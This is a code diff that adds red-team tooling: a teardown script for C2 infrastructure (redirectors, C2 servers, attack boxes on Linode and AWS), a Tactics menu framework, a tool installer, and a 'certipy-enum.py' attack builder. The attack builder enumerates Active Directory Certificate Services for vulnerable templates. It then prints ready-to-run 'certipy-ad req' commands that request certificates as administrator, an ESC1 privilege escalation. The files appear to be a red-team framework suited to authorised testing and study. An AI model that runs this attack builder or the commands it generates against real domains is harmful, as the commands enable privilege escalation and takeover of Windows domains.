fails +""" + +import os +import sys +import subprocess +import logging +import json +import glob +import argparse +from datetime import datetime + +# Add current directory to path for imports +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +try: + from utils.common import COLORS, PROVIDER_DIRS, setup_logging +except ImportError as e: + print(f"Error importing utils: {e}") + print("Make sure you're running this from the c2itall directory") + sys.exit(1) + +def main(): + parser = argparse.ArgumentParser(description='C2itall Standalone Teardown Tool') + parser.add_argument('--deployment-id', help='Specific deployment ID to teardown') + parser.add_argument('--list', action='store_true', help='List all deployments') + parser.add_argument('--all', action='store_true', help='Teardown all deployments') + parser.add_argument('--select', action='store_true', help='Interactively select deployment to teardown') + parser.add_argument('--debug', action='store_true', help='Enable debug output') + parser.add_argument('--force', action='store_true', help='Skip confirmation prompts') + + args = parser.parse_args() + + if args.debug: + logging.basicConfig(level=logging.DEBUG) + + print(f"{COLORS['BLUE']}C2itall Standalone Teardown Tool{COLORS['RESET']}") + print(f"{COLORS['BLUE']}================================{COLORS['RESET']}") + + if args.list: + list_deployments() + elif args.all: + teardown_all_deployments(force=args.force) + elif args.deployment_id: + teardown_deployment(args.deployment_id, force=args.force) + elif args.select: + select_and_teardown_deployment() + else: + interactive_mode() + +def list_deployments(): + """List all available deployments""" + print(f"\n{COLORS['CYAN']}Available Deployments:{COLORS['RESET']}") + + # Find deployment info files + info_files = glob.glob("logs/deployment_info_*.txt") + + if not info_files: + print(f"{COLORS['GREEN']}No deployments found{COLORS['RESET']}") + return + + deployments = [] + for info_file in info_files: + config = parse_deployment_info(info_file) + if config: + deployments.append(config) + + if not deployments: + print(f"{COLORS['YELLOW']}Found info files but could not parse deployment data{COLORS['RESET']}") + return + + print(f"Found {len(deployments)} deployments:\n") + + for i, config in enumerate(deployments, 1): + deployment_id = config.get('deployment_id', 'unknown') + provider = config.get('provider', 'unknown') + domain = config.get('domain', 'N/A') + status = config.get('status', 'unknown') + + print(f"{i}. Deployment ID: {deployment_id}") + print(f" Provider: {provider}") + print(f" Domain: {domain}") + print(f" Status: {status}") + + # Show instance names if available + instances = [] + if config.get('redirector_name'): + instances.append(f"Redirector: {config['redirector_name']}") + if config.get('c2_name'): + instances.append(f"C2: {config['c2_name']}") + if config.get('tracker_name'): + instances.append(f"Tracker: {config['tracker_name']}") + if config.get('attack_box_name'): + instances.append(f"Attack Box: {config['attack_box_name']}") + + if instances: + print(f" Instances: {', '.join(instances)}") + + print() + +def interactive_mode(): + """Interactive teardown mode""" + while True: + print(f"\n{COLORS['WHITE']}Teardown Options:{COLORS['RESET']}") + print("1) List all deployments") + print("2) Select deployment to teardown") + print("3) Teardown all deployments") + print("4) Manual cleanup guidance") + print("5) Exit") + + choice = input(f"\nSelect option (1-5): ").strip() + + if choice == "1": + list_deployments() + elif choice == "2": + select_and_teardown_deployment() + elif choice == "3": + teardown_all_deployments() + elif choice == "4": + show_manual_cleanup_guidance() + elif choice == "5": + print(f"{COLORS['GREEN']}Goodbye!{COLORS['RESET']}") + break + else: + print(f"{COLORS['RED']}Invalid option{COLORS['RESET']}") + +def teardown_deployment(deployment_id, force=False): + """Teardown a specific deployment""" + print(f"\n{COLORS['BLUE']}Tearing down deployment: {deployment_id}{COLORS['RESET']}") + + # Find deployment info + info_files = glob.glob(f"logs/deployment_info_{deployment_id}*.txt") + + if not info_files: + print(f"{COLORS['RED']}No deployment info found for ID: {deployment_id}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Available deployments:{COLORS['RESET']}") + list_deployments() + return False + + config = parse_deployment_info(info_files[0]) + if not config: + print(f"{COLORS['RED']}Could not parse deployment configuration{COLORS['RESET']}") + return False + + # Show what will be torn down + provider = config.get('provider', 'unknown') + print(f"Provider: {provider}") + + instances_to_delete = [] + if config.get('redirector_name'): + instances_to_delete.append(f"Redirector: {config['redirector_name']}") + if config.get('c2_name'): + instances_to_delete.append(f"C2: {config['c2_name']}") + if config.get('tracker_name'): + instances_to_delete.append(f"Tracker: {config['tracker_name']}") + if config.get('attack_box_name'): + instances_to_delete.append(f"Attack Box: {config['attack_box_name']}") + + if instances_to_delete: + print(f"Instances to delete:") + for instance in instances_to_delete: + print(f" - {instance}") + else: + print(f"{COLORS['YELLOW']}No instances found in configuration{COLORS['RESET']}") + + # Confirm deletion + if not force: + confirm = input(f"\n{COLORS['YELLOW']}Proceed with teardown? (yes/no): {COLORS['RESET']}").strip().lower() + if confirm != 'yes': + print(f"{COLORS['GREEN']}Teardown cancelled{COLORS['RESET']}") + return False + + # Set up logging + log_file = setup_logging(deployment_id, "teardown") + print(f"Teardown logs will be written to: {log_file}") + + # Execute teardown + success = execute_teardown(config) + + if success: + print(f"\n{COLORS['GREEN']}Teardown completed successfully!{COLORS['RESET']}") + # Clean up SSH keys + cleanup_ssh_keys(deployment_id) + # Archive logs + archive_logs(deployment_id) + else: + print(f"\n{COLORS['RED']}Teardown failed or incomplete{COLORS['RESET']}") + print(f"Check logs for details: {log_file}") + + return success + +def teardown_all_deployments(force=False): + """Teardown all deployments""" + print(f"\n{COLORS['RED']}โš ๏ธ WARNING: This will teardown ALL deployments!{COLORS['RESET']}") + + if not force: + confirm = input(f"{COLORS['YELLOW']}Type 'DESTROY' to confirm: {COLORS['RESET']}") + if confirm != "DESTROY": + print(f"{COLORS['GREEN']}Operation cancelled{COLORS['RESET']}") + return + + info_files = glob.glob("logs/deployment_info_*.txt") + + if not info_files: + print(f"{COLORS['GREEN']}No deployments found{COLORS['RESET']}") + return + + print(f"Found {len(info_files)} deployments to teardown") + + success_count = 0 + for info_file in info_files: + config = parse_deployment_info(info_file) + if config: + deployment_id = config.get('deployment_id', 'unknown') + print(f"\n{COLORS['CYAN']}Tearing down: {deployment_id}{COLORS['RESET']}") + + if execute_teardown(config): + success_count += 1 + cleanup_ssh_keys(deployment_id) + archive_logs(deployment_id) + print(f"{COLORS['GREEN']}โœ“ {deployment_id} torn down{COLORS['RESET']}") + else: + print(f"{COLORS['RED']}โœ— {deployment_id} teardown failed{COLORS['RESET']}") + + print(f"\n{COLORS['BLUE']}Summary: {success_count}/{len(info_files)} deployments torn down{COLORS['RESET']}") + +def parse_deployment_info(info_file): + """Parse deployment info file""" + try: + config = {} + with open(info_file, 'r') as f: + lines = f.readlines() + + for line in lines: + line = line.strip() + if ": " in line and not line.startswith("-"): + parts = line.split(": ", 1) + if len(parts) == 2: + key, value = parts + + # Convert string values + if value.lower() == 'true': + value = True + elif value.lower() == 'false': + value = False + elif value.lower() == 'none': + value = None + + config[key] = value + + return config + except Exception as e: + print(f"{COLORS['RED']}Error parsing {info_file}: {e}{COLORS['RESET']}") + return None + +def execute_teardown(config): + """Execute the actual teardown""" + provider = config.get('provider') + deployment_id = config.get('deployment_id') + + if not provider: + print(f"{COLORS['RED']}No provider specified in configuration{COLORS['RESET']}") + return False + + # Set provider environment + set_provider_environment(config) + + # Get provider directory + provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize()) + cleanup_playbook = f"providers/{provider_dir}/cleanup.yml" + + if not os.path.exists(cleanup_playbook): + print(f"{COLORS['RED']}Cleanup playbook not found: {cleanup_playbook}{COLORS['RESET']}") + show_manual_cleanup_guidance(config) + return False + + print(f"Using cleanup playbook: {cleanup_playbook}") + + # Create extra vars + extra_vars = create_extra_vars(config) + + # Build ansible command - use venv ansible if available + venv_ansible = os.path.join(os.path.dirname(__file__), 'venv', 'bin', 'ansible-playbook') + if os.path.exists(venv_ansible): + ansible_cmd = venv_ansible + # Set Python interpreter for the venv + venv_python = os.path.join(os.path.dirname(__file__), 'venv', 'bin', 'python') + os.environ['ANSIBLE_PYTHON_INTERPRETER'] = venv_python + else: + ansible_cmd = 'ansible-playbook' + + cmd = [ + ansible_cmd, + cleanup_playbook, + '--extra-vars', extra_vars, + '-v' + ] + + print(f"Executing: {' '.join(cmd)}") + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + + print(f"Return code: {result.returncode}") + if result.stdout: + print(f"STDOUT:\n{result.stdout}") + if result.stderr: + print(f"STDERR:\n{result.stderr}") + + return result.returncode == 0 + + except subprocess.TimeoutExpired: + print(f"{COLORS['RED']}Teardown timed out after 5 minutes{COLORS['RESET']}") + return False + except Exception as e: + print(f"{COLORS['RED']}Error executing teardown: {e}{COLORS['RESET']}") + return False + +def set_provider_environment(config): + """Set provider-specific environment variables""" + provider = config.get('provider') + + if provider == "aws": + if config.get('aws_access_key'): + os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key'] + if config.get('aws_secret_key'): + os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key'] + elif provider == "linode": + if config.get('linode_token'): + os.environ['LINODE_TOKEN'] = config['linode_token'] + else: + # Try to load from vars file + try: + import yaml + provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize()) + vars_file = f"providers/{provider_dir}/vars.yaml" + if os.path.exists(vars_file): + with open(vars_file, 'r') as f: + vars_data = yaml.safe_load(f) + if vars_data and vars_data.get('linode_token'): + os.environ['LINODE_TOKEN'] = vars_data['linode_token'] + print(f"Loaded Linode token from {vars_file}") + except Exception as e: + print(f"{COLORS['YELLOW']}Warning: Could not load Linode token: {e}{COLORS['RESET']}") + +def create_extra_vars(config): + """Create Ansible extra variables""" + extra_vars = { + 'deployment_id': config.get('deployment_id'), + 'provider': config.get('provider'), + 'skip_confirmation': True + } + + # Add instance names + if config.get('redirector_name'): + extra_vars['redirector_name'] = config['redirector_name'] + if config.get('c2_name'): + extra_vars['c2_name'] = config['c2_name'] + if config.get('tracker_name'): + extra_vars['tracker_name'] = config['tracker_name'] + if config.get('attack_box_name'): + extra_vars['attack_box_name'] = config['attack_box_name'] + + return json.dumps(extra_vars) + +def cleanup_ssh_keys(deployment_id): + """Clean up SSH keys for deployment""" + ssh_dir = os.path.expanduser("~/.ssh") + patterns = [ + f"c2deploy_{deployment_id}*", + f"attack-box-{deployment_id}*", + f"a-{deployment_id}*" + ] + + removed_keys = [] + for pattern in patterns: + for key_file in glob.glob(os.path.join(ssh_dir, pattern)): + try: + os.remove(key_file) + removed_keys.append(key_file) + except Exception as e: + print(f"{COLORS['YELLOW']}Warning: Could not remove {key_file}: {e}{COLORS['RESET']}") + + if removed_keys: + print(f"Removed SSH keys: {', '.join([os.path.basename(k) for k in removed_keys])}") + else: + print("No SSH keys found to remove") + +def archive_logs(deployment_id): + """Archive logs for the deployment""" + try: + archive_dir = "logs/archive" + os.makedirs(archive_dir, exist_ok=True) + + patterns = [ + f"logs/deployment_{deployment_id}*", + f"logs/deployment_info_{deployment_id}*", + f"logs/teardown_{deployment_id}*" + ] + + archived_files = [] + for pattern in patterns: + for file_path in glob.glob(pattern): + filename = os.path.basename(file_path) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + archive_filename = f"{timestamp}_{filename}" + archive_path = os.path.join(archive_dir, archive_filename) + + os.rename(file_path, archive_path) + archived_files.append(archive_filename) + + if archived_files: + print(f"Archived logs: {', '.join(archived_files)}") + else: + print("No logs found to archive") + + except Exception as e: + print(f"{COLORS['YELLOW']}Warning: Could not archive logs: {e}{COLORS['RESET']}") + +def show_manual_cleanup_guidance(config=None): + """Show manual cleanup guidance""" + print(f"\n{COLORS['CYAN']}Manual Cleanup Guidance{COLORS['RESET']}") + print(f"{COLORS['CYAN']}========================{COLORS['RESET']}") + + if config: + provider = config.get('provider', 'unknown') + deployment_id = config.get('deployment_id', 'unknown') + + print(f"Deployment ID: {deployment_id}") + print(f"Provider: {provider}") + + if provider == "linode": + print(f"\nLinode cleanup steps:") + print(f"1. Go to https://cloud.linode.com/") + print(f"2. Check 'Linodes' section for instances with labels containing: {deployment_id}") + print(f"3. Delete any instances found") + print(f"4. Check 'Firewalls' section for firewalls with labels containing: {deployment_id}") + print(f"5. Delete any firewalls found") + + elif provider == "aws": + print(f"\nAWS cleanup steps:") + print(f"1. Go to AWS EC2 Console") + print(f"2. Check instances with tags containing: {deployment_id}") + print(f"3. Delete instances and associated resources") + print(f"4. Check security groups, key pairs, and elastic IPs") + + print(f"\nLocal cleanup:") + print(f"1. SSH keys in ~/.ssh/ starting with c2deploy_, attack-box-, or a-") + print(f"2. Log files in logs/ directory") + print(f"3. Any temporary files or state files") + +def select_and_teardown_deployment(): + """Interactive deployment selection for teardown""" + print(f"\n{COLORS['CYAN']}Select Deployment to Teardown:{COLORS['RESET']}") + + # Find deployment info files + info_files = glob.glob("logs/deployment_info_*.txt") + + if not info_files: + print(f"{COLORS['GREEN']}No deployments found{COLORS['RESET']}") + return + + deployments = [] + for info_file in info_files: + config = parse_deployment_info(info_file) + if config: + deployments.append(config) + + if not deployments: + print(f"{COLORS['YELLOW']}Found info files but could not parse deployment data{COLORS['RESET']}") + return + + print(f"\nFound {len(deployments)} deployments:") + print("=" * 40) + + # Display deployments with selection numbers + for i, config in enumerate(deployments, 1): + deployment_id = config.get('deployment_id', 'unknown') + provider = config.get('provider', 'unknown') + domain = config.get('domain', 'N/A') + + print(f"{i}. {COLORS['WHITE']}{deployment_id}{COLORS['RESET']}") + print(f" Provider: {provider}") + print(f" Domain: {domain}") + + # Show instance names if available + instances = [] + if config.get('redirector_name'): + instances.append(f"Redirector: {config['redirector_name']}") + if config.get('c2_name'): + instances.append(f"C2: {config['c2_name']}") + if config.get('tracker_name'): + instances.append(f"Tracker: {config['tracker_name']}") + if config.get('attack_box_name'): + instances.append(f"Attack Box: {config['attack_box_name']}") + + if instances: + print(f" Instances: {', '.join(instances)}") + print() + + # Get user selection + while True: + try: + selection = input(f"\nSelect deployment to teardown (1-{len(deployments)}), or 'q' to quit: ").strip() + + if selection.lower() == 'q': + print(f"{COLORS['GREEN']}Selection cancelled{COLORS['RESET']}") + return + + selection_num = int(selection) + if 1 <= selection_num <= len(deployments): + selected_deployment = deployments[selection_num - 1] + deployment_id = selected_deployment.get('deployment_id', 'unknown') + + print(f"\n{COLORS['YELLOW']}Selected deployment: {deployment_id}{COLORS['RESET']}") + + # Confirm selection and proceed with teardown + confirm = input(f"Proceed with teardown of {deployment_id}? (yes/no): ").strip().lower() + if confirm == 'yes': + teardown_deployment(deployment_id) + else: + print(f"{COLORS['GREEN']}Teardown cancelled{COLORS['RESET']}") + return + else: + print(f"{COLORS['RED']}Please enter a number between 1 and {len(deployments)}{COLORS['RESET']}") + except ValueError: + print(f"{COLORS['RED']}Please enter a valid number or 'q' to quit{COLORS['RESET']}") + +if __name__ == "__main__": + main() diff --git a/tools/redteam/certipy-enum.py b/tools/redteam/certipy-enum.py new file mode 100644 index 0000000..1b1fd8c --- /dev/null +++ b/tools/redteam/certipy-enum.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 +import subprocess +import re +import sys +import os +import glob +import json + +# Ops hook (safe no-op if c2itall not available) +try: + sys.path.insert(0, os.path.expanduser("~/tools/c2itall")) + from utils.ops_hook import OpsHook as _OpsHook +except ImportError: + _OpsHook = None + +def run_command(cmd): + """Run a command and return its output""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return "", "Command timed out", 1 + +def read_latest_certipy_files(): + """Read the latest certipy output files""" + txt_files = glob.glob("*_Certipy.txt") + json_files = glob.glob("*_Certipy.json") + + txt_content = "" + json_content = {} + + if txt_files: + latest_txt = max(txt_files, key=os.path.getctime) + try: + with open(latest_txt, 'r', encoding='utf-8') as f: + txt_content = f.read() + except: + txt_content = "" + + if json_files: + latest_json = max(json_files, key=os.path.getctime) + try: + with open(latest_json, 'r', encoding='utf-8') as f: + json_content = json.load(f) + except Exception as e: + print(f"[!] Error reading JSON: {e}") + # Try reading as text and debugging + try: + with open(latest_json, 'r', encoding='utf-8') as f: + raw_content = f.read() + pass # raw content available for debugging if needed + except: + pass + json_content = {} + + return txt_content, json_content + +def parse_cas_from_json(json_data): + """Extract CAs from JSON data - looking for CA Name field""" + cas = [] + try: + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "CA Name" in ca_info: + cas.append(ca_info["CA Name"]) + except Exception as e: + print(f"[!] Error parsing CAs: {e}") + return cas + +def parse_templates_from_json(json_data): + """ + Extract templates and identify vulnerabilities: + - ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll + - ESC2/ESC3: Look in [*] Remarks section + - User Enrollable: Look for [+] User Enrollable Principals + """ + all_templates = [] + vulnerable_templates = [] + user_enrollable_templates = [] + esc1_templates = [] + + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and "Template Name" in template_info: + template_name = template_info["Template Name"] + all_templates.append(template_name) + + # Check if enabled + is_enabled = template_info.get("Enabled", False) + + # Check for ESC1: Enrollee Supplies Subject + enabled + enrollee_supplies = template_info.get("Enrollee Supplies Subject", False) + if enrollee_supplies and is_enabled: + esc1_templates.append(template_name) + vulnerable_templates.append(f"{template_name} (ESC1)") + + # Check for vulnerabilities in [*] Remarks + if "[*] Remarks" in template_info: + remarks = template_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + if template_name not in [v.split(' ')[0] for v in vulnerable_templates]: + vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})") + + # Check for [+] User Enrollable Principals + if "[+] User Enrollable Principals" in template_info: + user_enrollable_templates.append(template_name) + + except Exception as e: + print(f"[!] Error parsing templates: {e}") + + return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates + +def parse_targets_from_json(json_data): + """Extract CA DNS names for targeting""" + targets = [] + try: + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "DNS Name" in ca_info: + targets.append(ca_info["DNS Name"]) + except Exception as e: + print(f"[!] Error parsing targets: {e}") + return targets + +def parse_esc_vulnerabilities(json_data): + """Extract ESC vulnerabilities from CA and template remarks""" + esc_vulns = [] + try: + # CA level ESC (like ESC8) + if "Certificate Authorities" in json_data: + ca_section = json_data["Certificate Authorities"] + if isinstance(ca_section, dict): + for key, ca_info in ca_section.items(): + if isinstance(ca_info, dict) and "[*] Remarks" in ca_info: + remarks = ca_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + esc_vulns.append(remark_key) + + # Template level ESC + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and "[*] Remarks" in template_info: + remarks = template_info["[*] Remarks"] + if isinstance(remarks, dict): + for remark_key in remarks.keys(): + if "ESC" in str(remark_key): + esc_vulns.append(remark_key) + + except Exception as e: + print(f"[!] Error parsing ESC vulnerabilities: {e}") + + return list(set(esc_vulns)) + +def get_template_permissions(json_data, template_name): + """Get who can enroll in this template""" + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict) and template_info.get("Template Name") == template_name: + # Look for enrollment rights + permissions = template_info.get("Permissions", {}) + if isinstance(permissions, dict): + enrollment_perms = permissions.get("Enrollment Permissions", {}) + if isinstance(enrollment_perms, dict): + enrollment_rights = enrollment_perms.get("Enrollment Rights", []) + return enrollment_rights if isinstance(enrollment_rights, list) else [] + except Exception as e: + print(f"[!] Error getting permissions for {template_name}: {e}") + return [] + +def get_enabled_templates(json_data): + """Get list of enabled templates""" + enabled_templates = [] + try: + if "Certificate Templates" in json_data: + template_section = json_data["Certificate Templates"] + if isinstance(template_section, dict): + for template_key, template_info in template_section.items(): + if isinstance(template_info, dict): + template_name = template_info.get("Template Name", "") + is_enabled = template_info.get("Enabled", False) + if is_enabled and template_name: + enabled_templates.append(template_name) + except Exception as e: + print(f"[!] Error getting enabled templates: {e}") + return enabled_templates + +def main(): + # Ops hook + _hook = _OpsHook("certipy-enum") if _OpsHook else None + if _hook: + _hook.register() + + print("=" * 60) + print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3") + print("=" * 60) + + # Get user input + username = input("Enter username (user@domain.com): ") + password = input("Enter password: ") + dc_ip = input("Enter DC IP: ") + + print("\n[*] Running certipy-ad enumeration...") + + # Pass password via environment variable โ€” keeps it out of process list and logs + os.environ['_CERTIPY_PASS'] = password + find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}" + vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable" + + # Run basic enumeration + print("[*] Finding Certificate Authorities and basic info...") + stdout, stderr, returncode = run_command(find_cmd) + + if returncode != 0: + os.environ.pop('_CERTIPY_PASS', None) + print(f"[!] Error running certipy-ad find: {stderr}") + return + + # Run vulnerability scan + print("[*] Scanning for vulnerable templates...") + vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd) + os.environ.pop('_CERTIPY_PASS', None) + + # Read the saved files + print("[*] Reading certipy output files...") + txt_content, json_content = read_latest_certipy_files() + + if not json_content: + print("[!] No JSON data found. Check the certipy output files manually.") + return + + # Parse results from JSON + cas = parse_cas_from_json(json_content) + all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content) + targets = parse_targets_from_json(json_content) + esc_vulns = parse_esc_vulnerabilities(json_content) + enabled_templates = get_enabled_templates(json_content) + + # Display results + print("\n" + "=" * 60) + print("ENUMERATION RESULTS") + print("=" * 60) + + print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):") + for i, ca in enumerate(cas, 1): + print(f" {i}. {ca}") + + print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):") + for i, target in enumerate(targets, 1): + print(f" {i}. {target}") + + print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):") + for esc in esc_vulns: + print(f" - {esc}") + + print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):") + for i, template in enumerate(vulnerable_templates, 1): + print(f" {i}. {template}") + + print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):") + for i, template in enumerate(user_enrollable_templates, 1): + permissions = get_template_permissions(json_content, template) + perms_str = ', '.join(permissions) if permissions else "Check manually" + print(f" {i}. {template} -> {perms_str}") + + print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):") + for i, template in enumerate(esc1_templates, 1): + print(f" {i}. {template}") + + print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):") + for i, template in enumerate(enabled_templates[:10], 1): + print(f" {i}. {template}") + if len(enabled_templates) > 10: + print(f" ... and {len(enabled_templates) - 10} more enabled templates") + + # Build attack commands + if cas and targets: + domain = username.split('@')[1] if '@' in username else 'company.com' + + print("\n" + "=" * 60) + print("RECOMMENDED ATTACK COMMANDS") + print("=" * 60) + + ca_name = cas[0] + target_name = targets[0] + + # Priority: ESC1 templates, then user enrollable, then common enabled ones + priority_templates = [] + + # Add ESC1 templates first (highest priority) + for template in esc1_templates: + if template not in priority_templates: + priority_templates.append(template) + + # Add user enrollable templates + for template in user_enrollable_templates: + if template not in priority_templates: + priority_templates.append(template) + + # Add common templates if they're enabled + common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"] + for template in common_templates: + if template in enabled_templates and template not in priority_templates: + priority_templates.append(template) + + # Limit to top 5 + priority_templates = priority_templates[:5] + + if not priority_templates: + priority_templates = enabled_templates[:3] + + print(f"\n[*] Using CA: {ca_name}") + print(f"[*] Using Target: {target_name}") + print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate") + + for i, template in enumerate(priority_templates, 1): + permissions = get_template_permissions(json_content, template) + print(f"\n[{i}] Template: {template}") + if permissions: + print(f" Permissions: {', '.join(permissions)}") + else: + print(f" Permissions: Check manually") + + cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}" + print(f" Command: {cmd}") + + print(f"\n[*] Output files created:") + txt_files = glob.glob("*_Certipy.txt") + json_files = glob.glob("*_Certipy.json") + for f in sorted(txt_files[-2:] + json_files[-2:]): + print(f" - {f}") + + else: + print("\n[!] Insufficient data found for building attack commands.") + print(" Try running the commands manually with known templates.") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/tools/redteam/freebird/core/main_menu.py b/tools/redteam/freebird/core/main_menu.py new file mode 100644 index 0000000..0882097 --- /dev/null +++ b/tools/redteam/freebird/core/main_menu.py @@ -0,0 +1,53 @@ +# core/main_menu.py + +from InquirerPy import inquirer +from core.utils import clear_screen +from core.config import config +from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu + +# Main Menu Function +def main_menu(): + while True: + clear_screen() # Clear screen before displaying the main menu + selection = inquirer.select( + message="Select a Tactic:", + choices=[ + "Reconnaissance", + "Initial Access", + "Execution", + "Persistence", + "Privilege Escalation", + "Defense Evasion", + "Credential Access", + "Discovery", + "Lateral Movement", + "Collection", + "Command and Control", + "Exfiltration", + "Impact", + "Resource Development", + "Set Global Variable", + "Show Global Variables", + "Exit", + ], + qmark="", # Remove question mark + pointer="๐Ÿ‘พ" # Customize the pointer + ).execute() + + # Call relevant function based on user selection + if selection == "Exit": + print("Exiting...") + break + elif selection == "Set Global Variable": + config.prompt_set_variable() + elif selection == "Show Global Variables": + config.show_variables() + elif selection == "Reconnaissance": + reconnaissance_menu() # Navigate to Reconnaissance Menu + else: + # Handle options under construction + print("This feature is under construction. Returning to the main menu...") + input("Press Enter to continue...") + +if __name__ == "__main__": + main_menu() diff --git a/tools/redteam/freebird/core/tool_manager.py b/tools/redteam/freebird/core/tool_manager.py new file mode 100644 index 0000000..80510f9 --- /dev/null +++ b/tools/redteam/freebird/core/tool_manager.py @@ -0,0 +1,121 @@ +import os +import subprocess +import argparse + +TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed + +def install_tool(tool_name, repo_url): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if os.path.exists(tool_path): + print(f"{tool_name} is already installed.") + return + + # Clone the repository + print(f"Cloning {repo_url}...") + subprocess.run(['git', 'clone', repo_url, tool_path], check=True) + + # Set up a virtual environment if necessary + venv_path = os.path.join(tool_path, 'venv') + print(f"Setting up virtual environment for {tool_name}...") + subprocess.run(['python3', '-m', 'venv', venv_path], check=True) + + # Activate virtual environment and install dependencies + requirements_file = os.path.join(tool_path, 'requirements.txt') + if os.path.exists(requirements_file): + print(f"Installing dependencies for {tool_name}...") + pip_bin = os.path.join(venv_path, 'bin', 'pip') + subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True) + + print(f"{tool_name} installed successfully.") + +def install_tools_list(tools_list): + for tool_name, repo_url in tools_list: + install_tool(tool_name, repo_url) + +def update_tool(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if not os.path.exists(tool_path): + print(f"{tool_name} is not installed.") + return + + # Pull the latest changes + print(f"Updating {tool_name}...") + subprocess.run(['git', '-C', tool_path, 'pull'], check=True) + + # Update dependencies if necessary + venv_path = os.path.join(tool_path, 'venv') + requirements_file = os.path.join(tool_path, 'requirements.txt') + if os.path.exists(requirements_file): + print(f"Updating dependencies for {tool_name}...") + pip_bin = os.path.join(venv_path, 'bin', 'pip') + subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True) + + print(f"{tool_name} updated successfully.") + +def remove_tool(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if not os.path.exists(tool_path): + print(f"{tool_name} is not installed.") + return + + # Remove the tool directory + print(f"Removing {tool_name}...") + subprocess.run(['rm', '-rf', tool_path], check=True) + print(f"{tool_name} removed successfully.") + +def show_status(tool_name): + tool_path = os.path.join(TOOLS_DIR, tool_name) + + if os.path.exists(tool_path): + print(f"{tool_name} is installed.") + else: + print(f"{tool_name} is not installed.") + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework') + subparsers = parser.add_subparsers(dest='command', help='Subcommands') + + # Install command + install_parser = subparsers.add_parser('install', help='Install a tool') + install_parser.add_argument('tool_name', help='Name of the tool to install') + install_parser.add_argument('repo_url', help='Git repository URL of the tool') + + # Install multiple tools + install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools') + install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories') + + # Update command + update_parser = subparsers.add_parser('update', help='Update a tool') + update_parser.add_argument('tool_name', help='Name of the tool to update') + + # Remove command + remove_parser = subparsers.add_parser('remove', help='Remove a tool') + remove_parser.add_argument('tool_name', help='Name of the tool to remove') + + # Status command + status_parser = subparsers.add_parser('status', help='Show the status of a tool') + status_parser.add_argument('tool_name', help='Name of the tool') + + args = parser.parse_args() + + if args.command == 'install': + install_tool(args.tool_name, args.repo_url) + elif args.command == 'install-list': + # Read the file to get a list of tools to install + tools = [] + with open(args.file, 'r') as f: + for line in f: + name, url = line.strip().split(',') + tools.append((name.strip(), url.strip())) + install_tools_list(tools) + elif args.command == 'update': + update_tool(args.tool_name) + elif args.command == 'remove': + remove_tool(args.tool_name) + elif args.command == 'status': + show_status(args.tool_name) + else: + parser.print_help() diff --git a/tools/redteam/ioc-u/ioc-u.py b/tools/redteam/ioc-u/ioc-u.py new file mode 100644 index 0000000..df43519 --- /dev/null +++ b/tools/redteam/ioc-u/ioc-u.py @@ -0,0 +1,1881 @@ +#!/usr/bin/env python3 +""" +IOC-U Enhanced: Advanced Blue Team Detection & Intelligence Tool for Red Team Operations +Version 2.0 